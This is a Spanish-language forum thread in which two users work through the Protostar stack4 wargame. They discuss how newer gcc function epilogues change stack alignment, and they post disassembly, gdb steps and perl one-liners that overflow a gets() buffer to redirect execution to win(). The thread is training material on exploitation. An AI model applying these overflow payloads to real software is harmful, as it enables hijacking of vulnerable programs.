Hola kr0m_
Desde hace un tiempo gcc ha cambiado el prólogo y el epílogo de las funciones por cuestiones de alineamiento de la pila. Probablemente esa sea la razón por que no te funciona lo que has estado probando. Puedes encontrar más informacion aquí: http://stackoverflow.com/questions/11886429/understanding-new-gcc-prologue.
Te aconsejo que para realizar los ejercicios de protostar te descargues la maquina virtual que los creadores ofrecen en la web para evitar contratiempos: https://exploit-exercises.com/download/. Los binarios presentes en la máquina virtual utilizan el prólogo/epílogo tradicional.
En esta imagen puedes observar el epílogo de la función main del binario presente en la máquina virtual:
(http://k30.kn3.net/2/9/2/3/A/E/221.png)
Por el contrario este es el epílogo de la función main de un binario compilado con la última versión de gcc con los argumentos que tu has utilizado ( -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ):
(http://k30.kn3.net/9/B/B/D/9/A/91B.png)
Si te fijas en esta última imagen después de la instrucción leave hay otra instrucción antes del ret. Justamente ésta instrucción modifica el contenido del registro esp y teniendo en cuenta que la siguiente instrucción es un ret podemos afirmar que está modificando la dirección de retorno de la función main.
Para comprobar lo que digo vamos a poner varios puntos de interrupción y hacer varias suposiciones:
El relleno necesario para sobreescribir la dirección de retorno si se utilizara el epílogo tradicional es de 76 bytes:
leave ;mov esp,ebp pop ebp
ret
La dirección de memoria de la función win() és 0x0804842b
1) Guardamos nuestro vector de ataque en un archivo y ejecutamos el depurador.
perl -e 'print "A"x76 . "\x2b\x84\x04\x08" ' > exploit; gdb vulnerable
2) Establecemos los puntos de interrupción y empezamos a depurar el programa( en la imagen anterior puedes ver los comandos ).
Después de recibir la entrada de datos el programa llega al primer punto de interrupción. ( antes de ejecutar la instrucción leave ).
(http://k46.kn3.net/3/C/7/6/B/B/A62.png)
Con la ayuda del comando x/32x $esp podemos comprobar que todo nuestro relleno está presente en la pila(empieza en 0xbfffef00 y termina en 0xbfffef5c).
La dirección de memoria 0xbfffef5c ( ebp + 0x4 ) contiene la dirección de retorno de la función main. Podemos ver en la imagen que el valor que contiene esta posición de memoria és 0x0804842b que como ya he especificado antes corresponde a la dirección de memoria de la función win().
Procedemos hasta el siguiente punto de interrupción después de la instrucción leave. Mediante el comando x $esp podemos comprobar por segunda vez que la dirección de retorno de main és 0x0804842b.
(http://k46.kn3.net/7/E/C/B/F/E/246.png)
Podemos observar que si la siguiente instrucción a ejecutar-se fuera ret ( él epílogo tradicional) habríamos resuelto el reto. Por el contrario antes del ret tenemos una instrucción que nos modificara el contenido de esp y en consecuencia la dirección de retorno de la función.
En esta última imagen puedes observar lo que acabo de decir:
(http://k33.kn3.net/1/7/F/F/A/1/56A.png)
Nota: Aunque el epílogo sea algo diferente, la explotación de la vulnerabilidad para este caso concreto sigue siendo trivial.
Una vez lo hayas resuelto con el binario que te dan los creadores del reto, te animo a que resuelvas el reto con esta pequeña modificación en el epílogo.
SpoilerPara mi caso la solución és:
- perl -e 'print "\x2b\x84\x04\x08" . "A"x64 . "\x04\xef\xff\xbf" ' > exploit; gdb ./stack04
- run < cat exploit
Saludos,
Aerøx
Gracias por responder aer0x, pero hay algunos puntos de tu explicación que no me quedan claros, no es el valor EIP el que se debe machacar para que la función retorne a una parte del código u otra?
El valor de ESP simplemente indica la cima de la pila, no?
En el post indicas que puedo ver algunas imágenes depurando código pero no aparecen, podrías volver a subirlas?
Te agradezco mucho que te tomes la molestia de responder a mis dudas y te ruego que me perdones si mis preguntas son algo estúpidas, tengo todos los conceptos pillados por los pelos.
Un saludo.
Compilando con la opción -mpreferred-stack-boundary=2 parece que el prólogo es como a antaño:
gcc -fno-stack-protector -mpreferred-stack-boundary=2 -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4
Dump of assembler code for function main:
0x0804843d <+0>: push ebp
0x0804843e <+1>: mov ebp,esp
0x08048440 <+3>: sub esp,0x40
0x08048443 <+6>: lea eax,[ebp-0x40]
0x08048446 <+9>: push eax
0x08048447 <+10>: call 0x80482f0 <gets@plt>
0x0804844c <+15>: add esp,0x4
0x0804844f <+18>: leave
0x08048450 <+19>: ret
De este modo no tengo problema, calculo el padding y resuelvo el wargame:
perl -e 'print "A"x68 . "\x2b\x84\x04\x08"'| ./stack4
code flow successfully changed
Pero me gustaría saber como hacerlo sin tener que añadir esa flag al compilar.
Debugeando un poco hay otra parte que no entiendo, la pila va creciendo hacia direcciones de memoria inferiores conforme se van definiendo las variables, por eso el ESP cada vez tiene un valor inferior.
El EIP y EBP siempre deberían ser zonas de memoria superiores al ESP pero gdb me muestra lo siguiente poniendo un breakpoint en 0x08048466 <+35>: leave
(gdb) info registers
esp 0xbffff6b0 0xbffff6b0
eip 0x8048466 0x8048466 <main+35>
0xbffff6b0 > 0x8048466 => ESP > EIP
El exploit creo que no funciona por esta razón, cuando gets rellena la variable buffer esta crece hacia direcciones de memoria superiores pero el EIP que es la dirección que nos interesa sobreescribir se encuentra por abajo, no llegando nunca a ella y no sobreescribiéndola nunca.
Si alguien pudiese aclararmelo se lo agradecería.